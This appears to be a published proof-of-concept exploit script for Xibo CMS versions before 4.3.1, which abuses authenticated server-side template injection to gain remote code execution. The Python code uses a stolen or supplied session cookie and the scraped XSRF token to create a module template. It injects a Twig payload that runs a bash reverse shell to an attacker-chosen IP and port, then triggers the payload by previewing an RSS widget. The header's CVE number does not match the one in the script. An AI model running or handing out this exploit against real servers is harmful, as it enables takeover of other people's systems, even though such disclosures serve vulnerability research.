# Exploit Title: Xibo CMS - Authenticated Remote Code Execution via SSTI
# Date: 2025-11-04
# Exploit Author: Cristian Branet
# Vendor Homepage: https://xibosignage.com/
# Software Link: https://github.com/xibosignage/xibo-cms/
# Version: < 4.3.1
# Tested on: Linux (Ubuntu 22.04)
# CVE : CVE-2025-62639
# Article: https://cristibtz.github.io/posts/CVE-2025-62369/
import requests, argparse, pyfiglet, re, json, time
parser = argparse.ArgumentParser(description="This script exploits CVE-2025-62369 in Xibo CMS to get a reverse shell.", formatter_class=argparse.ArgumentDefaultsHelpFormatter)
parser.add_argument("-u", "--url", required=True, help="Xibo CMS server URL (e.g., http://localhost)")
parser.add_argument("-s", "--session-key", required=True, help="Use the PHPSESSID")
parser.add_argument("-i", "--ip", required=True, help="IP address for reverse shell")
parser.add_argument("-p", "--port", required=True, help="Port for reverse shell")
class Exploit:
def __init__(self, url, session, ip, port):
self.url = url
self.session = session
self.ip = ip
self.port = port
self.headers = {
"Cookie": f"PHPSESSID={session}",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36"
}
def get_xsrf_token(self):
try:
response = requests.get(f"{url}/statusdashboard", headers=self.headers)
except Exception as e:
print(f"Error connecting to {url}: {e}")
exit(1)
text = response.text
pattern = r'name="token" content="([a-f0-9]+)"'
try:
xsrf_token = re.search(pattern, text).group(1)
except Exception as e:
print(f"Error extracting XSRF token: {e}")
exit(1)
return xsrf_token
def create_module_template(self, xsrf_token):
timestamp = int(time.time())
headers = {
"Cookie": f"PHPSESSID={session}",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
"X-XSRF-TOKEN": f"{xsrf_token}",
"X-Requested-With": "XMLHttpRequest"
}
data = {
"templateId": f"exploit_poc_{timestamp}",
"title": "Template for PoC",
"dataType": "article",
"copyTemplateId": "",
"showIn": "layout"
}
try:
response = requests.post(f"{self.url}/developer/template", data=data, headers=headers)
except Exception as e:
print(f"Error creating module template: {e}")
exit(1)
response_info = json.loads(response.text)
template_id = response_info["id"]
return template_id, timestamp, f"exploit_poc_{timestamp}"
def update_module_template(self, xsrf_token, template_id, name):
headers = {
"Cookie": f"PHPSESSID={session}",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
"X-XSRF-TOKEN": f"{xsrf_token}",
"X-Requested-With": "XMLHttpRequest"
}
data = {
"templateId":f"{name}",
"title": f"Template for PoC - {name}",
"dataType": "article",
"showIn": "layout",
"enabled": "on",
"developer-template-properties": [],
"properties": [],
"twig": '
Command Execution: {{["' + f"bash -c 'bash -i >& /dev/tcp/{ip}/{port} 0>&1'" + '"]|filter(\'system\')}}
',
"hbs": "",
"style": "",
"head": "",
"onTemplateRender": "",
"onTemplateVisible": "",
"isInvalidateWidget": "on"
}
try:
response = requests.put(f"{self.url}/developer/template/{template_id}", data=data, headers=headers)
except Exception as e:
print(f"Error updating module template: {e}")
exit(1)
response_info = json.loads(response.text)
return response_info["success"]
def create_normal_template(self, xsrf_token):
timestamp = int(time.time())
headers = {
"Cookie": f"PHPSESSID={session}",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
"X-XSRF-TOKEN": f"{xsrf_token}",
"X-Requested-With": "XMLHttpRequest"
}
data = {
"folderId": 1,
"name": f"exploit_poc_template_{timestamp}",
"tags": "",
"tagValueInput": "",
"resolutionId": 1,
"description": "Exploit template"
}
try:
response = requests.post(f"{self.url}/template", data=data, headers=headers)
except Exception as e:
print(f"Error creating normal template: {e}")
exit(1)
response_info = json.loads(response.text)
template_id = response_info["id"]
layout_id = response_info["data"]["layoutId"]
region_id = response_info["data"]["regions"][0]["regionId"]
playlist_id = response_info["data"]["regions"][0]["regionPlaylist"]["playlistId"]
return template_id, layout_id, region_id, playlist_id
def add_rss_widget(self, xsrf_token, playlist_id, name):
headers = {
"Cookie": f"PHPSESSID={session}",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
"X-XSRF-TOKEN": f"{xsrf_token}",
"X-Requested-With": "XMLHttpRequest"
}
data = {
"templateId": f"{name}",
}
try:
response = requests.post(f"{url}/playlist/widget/rss-ticker/{str(int(playlist_id) + 1)}", data=data, headers=headers)
except Exception as e:
print(f"Error adding RSS widget: {e}")
exit(1)
response_info = json.loads(response.text)
widget_id = response_info["id"]
return widget_id
def preview_rss_widget(self, xsrf_token, widget_id, playlist_id):
headers = {
"Cookie": f"PHPSESSID={session}",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
"X-XSRF-TOKEN": f"{xsrf_token}",
"X-Requested-With": "XMLHttpRequest"
}
try:
response = requests.get(f"{url}/playlist/widget/resource/{str(int(playlist_id) + 1)}/{widget_id}?preview=1&isEditor=1", headers=headers)
except Exception as e:
print(f"Error previewing RSS widget: {e}")
exit(1)
return response.status_code
if __name__=="__main__":
print("\n")
print(pyfiglet.figlet_format("CVE-2025-62369 PoC", font="small", width=100))
print("Author: Cristian Branet")
print("GitHub: github.com/cristibtz")
print("Description: This script exploits CVE-2025-62369 in Xibo CMS to get a reverse shell.")
print("\n")
args = parser.parse_args()
url = args.url
session = args.session_key
ip = args.ip
port = args.port
xibo_exploit = Exploit(url, session, ip, port)
try:
xsrf_token = xibo_exploit.get_xsrf_token()
except Exception as e:
print(f"Error getting XSRF token: {e}")
exit(1)
print("Retrieved XSRF token: ")
print(xsrf_token)
try:
module_template_id, creation_time, name = xibo_exploit.create_module_template(xsrf_token)
except Exception as e:
print(f"Error creating module template: {e}")
exit(1)
print(f"Created module template with id: {module_template_id} with name: {name}")
try:
update_success = xibo_exploit.update_module_template(xsrf_token, module_template_id, name)
except Exception as e:
print(f"Error updating module template: {e}")
exit(1)
print(f"Updated module template with success: {update_success}")
print("Creating normal template...")
try:
normal_template_id, layout_id, region_id, playlist_id = xibo_exploit.create_normal_template(xsrf_token)
except Exception as e:
print(f"Error creating normal template: {e}")
exit(1)
print("Created normal template with: ")
print(f"Normal Template ID: {normal_template_id}")
print(f"Layout ID: {layout_id}")
print(f"Region ID: {region_id}")
print(f"Playlist ID: {playlist_id}")
print("Adding RSS widget to playlist...")
try:
widget_id = xibo_exploit.add_rss_widget(xsrf_token, playlist_id, name)
except Exception as e:
print(f"Error adding RSS widget: {e}")
exit(1)
print(f"Added RSS widget with ID: {widget_id}")
print("Previewing RSS widget to trigger the exploit...")
try:
status_code = xibo_exploit.preview_rss_widget(xsrf_token, widget_id, playlist_id)
except Exception as e:
print(f"Error previewing RSS widget: {e}")
exit(1)
if status_code == 200:
print("Exploit triggered successfully! Check your listener for a reverse shell.")
else:
print("Failed to trigger the exploit.")